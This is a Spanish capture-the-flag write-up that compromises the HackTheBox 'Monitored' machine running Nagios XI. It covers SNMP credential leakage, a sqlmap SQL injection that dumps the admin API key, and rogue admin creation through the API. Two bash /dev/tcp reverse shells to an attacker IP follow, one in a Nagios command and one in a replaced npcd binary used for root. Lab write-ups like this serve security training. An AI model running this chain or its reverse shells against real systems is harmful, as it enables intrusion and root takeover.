Monitored es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Monitored 10.129.240.242 a /etc/hosts como monitored.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.240.242 Nmap scan report for 10.129.240.242 Host is up, received reset ttl 63 (0.31s latency). Scanned at 2024-01-14 10:36:20 GMT for 19s Not shown: 54082 closed tcp ports (reset), 11449 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 389/tcp open ldap syn-ack ttl 63 443/tcp open https syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sun Jan 14 10:36:39 2024 -- 1 IP address (1 host up) scanned in 20.88 seconds |
Una vez detectados los puertos lanzamos un escaneo mas detallado sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ nmap -sCV -p 22,80,443,389 -oA enumeration/nmap2 10.129.240.242 Nmap scan report for 10.129.240.242 Host is up (0.040s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA) | 256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA) |_ 256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519) 80/tcp open http Apache httpd 2.4.56 |_http-title: Did not follow redirect to https://nagios.monitored.htb/ |_http-server-header: Apache/2.4.56 (Debian) 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X 443/tcp open ssl/http Apache httpd 2.4.56 ((Debian)) | ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK | Not valid before: 2023-11-11T21:46:55 |_Not valid after: 2297-08-25T21:46:55 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 |_http-server-header: Apache/2.4.56 (Debian) |_http-title: Nagios XI Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jan 14 10:37:16 2024 -- 1 IP address (1 host up) scanned in 21.33 seconds |
Enumeramos también los puertos abiertos en udp y vemos los siguientes
|
1 2 3 4 5 6 7 8 9 |
$ nmap -sU -oA enumeration/nmap1-udp 10.129.240.242 Nmap scan report for 10.129.240.242 Host is up (0.042s latency). Not shown: 950 closed udp ports (port-unreach), 48 open|filtered udp ports (no-response) PORT STATE SERVICE 123/udp open ntp 161/udp open snmp # Nmap done at Sun Jan 14 10:59:58 2024 -- 1 IP address (1 host up) scanned in 1031.87 seconds |
Enumeración
Accedemos al portal web en el puerto 80 a través del navegador y nos redirecciona a la url
|
1 |
https://nagios.monitored.htb/ |
Donde vemos la siguiente página web

En la misma vemos un enlace a la página de login de Nagios XI

Por aqui no parece que podamos hacer mucho más así que enumeramos directorios y encontramos un directorio /nagios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ feroxbuster -u https://nagios.monitored.htb/ -w /data/tools/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -k -n ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ https://nagios.monitored.htb/ 🚀 Threads │ 100 📖 Wordlist │ /data/tools/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔓 Insecure │ true 🚫 Do Not Recurse │ true 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 286c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 283c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 5l 12w 1073c https://nagios.monitored.htb/nagiosxi/images/favicon.ico 200 GET 132l 618w 32639c https://nagios.monitored.htb/nagiosxi/includes/js/core.js 200 GET 196l 217w 27444c https://nagios.monitored.htb/nagiosxi/images/nagios_logo_white_transbg.png 200 GET 272l 1974w 16128c https://nagios.monitored.htb/nagiosxi/includes/css/themes/modern.css 200 GET 40l 234w 14576c https://nagios.monitored.htb/nagiosxi/images/apple-touch-icon.png 200 GET 118l 617w 37941c https://nagios.monitored.htb/nagiosxi/images/apple-touch-icon-precomposed.png 302 GET 1l 5w 27c https://nagios.monitored.htb/nagiosxi/ => https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/index.php%3f&noauth=1 200 GET 1186l 8534w 70367c https://nagios.monitored.htb/nagiosxi/includes/css/base.css 200 GET 177l 116w 17339c https://nagios.monitored.htb/nagiosxi/images/favicon-32x32.png 200 GET 2l 1294w 89500c https://nagios.monitored.htb/nagiosxi/includes/js/jquery/jquery-3.6.0.min.js 200 GET 6l 1474w 123729c https://nagios.monitored.htb/nagiosxi/includes/css/bootstrap.3.min.css 200 GET 75l 208w 3245c https://nagios.monitored.htb/ 301 GET 9l 28w 335c https://nagios.monitored.htb/javascript => https://nagios.monitored.htb/javascript/ 401 GET 14l 54w 468c https://nagios.monitored.htb/nagios |
Así que accedemos, aunque nos solicita claves de autenticación del webserver, las cuales no tenemos

Vimos al principio que el puerto udp de snmp estaba abierto así que enumeramos el mismo y encontramos unas credenciales
|
1 2 3 4 |
$ snmpwalk -v2c -c public 10.129.240.242 ... iso.3.6.1.2.1.25.4.2.1.5.539 = STRING: "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB " ... |
Vistas las credenciales encontradas en la ejecución del script vamos a utilizarlas para acceder al portal de nagios y llegamos al dashboard de la misma

Acceso al panel de nagiosxi
Googleamos un poco y encontramos varias vulnerabilidades en nagios xi.
Existe una vulnerabilidad de SQLi pero antes vamos a necesitar autenticarnos como vemos en este post.
Así probamos con curl a ver si podemos obtener el token
|
1 2 3 4 5 6 7 8 |
$ curl -X POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1 -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=60' -sk | jq . { "username": "svc", "user_id": "2", "auth_token": "f479bdb433ae05d2a8a86bbb51066052cf9a3711", "valid_min": 5, "valid_until": "Sun, 14 Jan 2024 06:00:09 -0500" } |
Y es posible, así que ahora vamos a utilizar sqlmap para tratar de leer la ddbb
|
1 |
$ sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=60" | jq .auth_token | cut -d '"' -f 2`" --level 5 --risk 3 -p id --batch -D nagiosxi --dump |
Y entre los resultados obtenemos la api key del usuario admin
|
1 |
| 1 | admin@monitored.htb | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1 | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0 | 1701931372 | 1 | 1701427555 | 0 | 0 | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0 | 5 | 0 | 1701427555 | |
Así que con la apikey de admin vamos a generar un nuevo usuario con permisos de administrador
|
1 2 3 4 5 |
$ curl -ks -X POST "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=test&password=test&name=test&email=test@localhost&auth_level=admin" { "success": "User account test was added successfully!", "user_id": 6 } |
Y con las credenciales de este usuario recién creado accedemos a la web de nagiosxi, nos pedirá aceptar la licencia y cambiar la password, y llegaremos al dashboard

Obteniendo una shell
Ya estamos como admin en nagiosxi, así que ahora para obtener una shell vamos a crear un comando de chequeo del host y lo ejecutaremos para obtener acceso.
Nos vamos a
Configure -> Core Config Manager -> Commands

Y añadimos un comando nuevo con los siguientes datos
- Name: shell
- Command Line: bash -c ‘bash -i >& /dev/tcp/10.10.14.91/4444 0>&1’
- Command Type: Check
- Active: Yes
Una vez lo tenemos aplicamos los cambios y nos vamos a la sección siguiente
Monitoring -> Hosts -> localhost
Seleccionamos nuestro comando y lo lanzamos

Y tenemos nuestra shell
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.129.240.242 49678 bash: cannot set terminal process group (22731): Inappropriate ioctl for device bash: no job control in this shell nagios@monitored:~$ whoami whoami nagios nagios@monitored:~$ |
Obteniendo la flag de user
Revisamos en la home del usuario y cogemos la primera flag
|
1 2 3 4 5 6 7 8 9 |
nagios@monitored:~$ ls -l ls -l total 8 -rw-r--r-- 1 nagios nagios 131 Jan 14 05:15 cookie.txt -rw-r----- 1 root nagios 33 Jan 14 05:10 user.txt nagios@monitored:~$ cat user.txt cat user.txt 82aa441183f8c207ab79f2ffb4358888 nagios@monitored:~$ |
Escalado de privilegios
Una vez dentro revisamos los permisos del usuario y vemos que puede ejecutar muchos scripts como root
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
nagios@monitored:~$ sudo -l sudo -l Matching Defaults entries for nagios on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User nagios may run the following commands on localhost: (root) NOPASSWD: /etc/init.d/nagios start (root) NOPASSWD: /etc/init.d/nagios stop (root) NOPASSWD: /etc/init.d/nagios restart (root) NOPASSWD: /etc/init.d/nagios reload (root) NOPASSWD: /etc/init.d/nagios status (root) NOPASSWD: /etc/init.d/nagios checkconfig (root) NOPASSWD: /etc/init.d/npcd start (root) NOPASSWD: /etc/init.d/npcd stop (root) NOPASSWD: /etc/init.d/npcd restart (root) NOPASSWD: /etc/init.d/npcd reload (root) NOPASSWD: /etc/init.d/npcd status (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php * (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php * (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php * (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh * (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh * (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh * |
Nos centramos en el script manage_services.sh y revisamos los binarios posibles, viendo varios para los cuales tenemos permisos de escritura
|
1 2 3 4 5 6 7 8 9 10 11 12 |
nagios@monitored:~$ ls -l /usr/local/nagios/bin/ ls -l /usr/local/nagios/bin/ total 2184 -rwxrwxr-- 1 nagios nagios 717648 Nov 9 10:40 nagios -rwxrwxr-- 1 nagios nagios 43648 Nov 9 10:40 nagiostats -rwxrwxr-- 1 nagios nagios 1043688 Nov 9 10:42 ndo.so -rwxr-xr-x 1 root root 1083 Nov 9 10:42 ndo-startup-hash.sh -rwxr-xr-- 1 nagios nagios 31584 Nov 9 10:42 npcd -rwxr-xr-- 1 nagios nagios 14552 Nov 9 10:42 npcdmod.o -rwxr-xr-x 1 root root 215488 Nov 9 10:43 nrpe -rwxr-xr-x 1 root root 10661 Nov 9 10:43 nrpe-uninstall -rwxr-xr-x 1 root root 142920 Nov 9 10:43 nsca |
Así que generamos el binario de npcd incluyendo una revshell
|
1 2 3 4 |
$ cat npcd #!/bin/bash bash -i >& /dev/tcp/10.10.14.91/4445 0>&1 |
Paramos el servicio
|
1 2 |
nagios@monitored:/tmp$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd <local/nagiosxi/scripts/manage_services.sh stop npcd |
Reemplazamos el binario
|
1 2 |
nagios@monitored:/tmp$ mv /tmp/npcd /usr/local/nagios/bin/npcd mv /tmp/npcd /usr/local/nagios/bin/npcd |
Levantamos el servicio
|
1 2 |
nagios@monitored:/tmp$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd <ocal/nagiosxi/scripts/manage_services.sh start npcd |
Y somos root
|
1 2 3 4 5 6 7 8 |
$ nc -nlvp 4445 Listening on 0.0.0.0 4445 Connection received on 10.129.240.242 60296 bash: cannot set terminal process group (23260): Inappropriate ioctl for device bash: no job control in this shell root@monitored:/# id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Y por último cogemos la flag
|
1 2 3 4 |
root@monitored:/# cat /root/root.txt cat /root/root.txt 4e070bf266743592dc94d51474b7a3ac root@monitored:/# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










